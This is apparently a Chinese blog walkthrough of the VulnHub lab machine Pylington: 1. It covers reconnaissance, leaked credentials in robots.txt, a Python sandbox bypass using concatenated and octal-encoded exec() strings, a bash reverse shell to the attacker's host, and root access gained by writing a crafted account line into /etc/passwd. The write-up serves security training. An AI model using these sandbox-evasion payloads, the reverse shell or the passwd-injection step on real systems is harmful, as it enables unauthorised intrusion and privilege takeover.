准备:
攻击机:虚拟机kali、本机win10。
靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。
知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。
2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。
3.web信息
访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。
访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。
访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。
二:获取shell
利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。
测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。
开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。
#原来语句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')
#绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')"
#执行语句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")
或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。
oct_result= ''
strings = 'import os'
for string in strings:
one_char = ord(string)
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os结果
\151\155\160\157\162\164\40\157\163
#os.system('id')结果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51
三:提权
1.提权至py
尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。
使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。
进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。
查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。
执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。
利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。
2.提权至root
尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。
那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。
进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。
我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。
尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。
获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。
如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。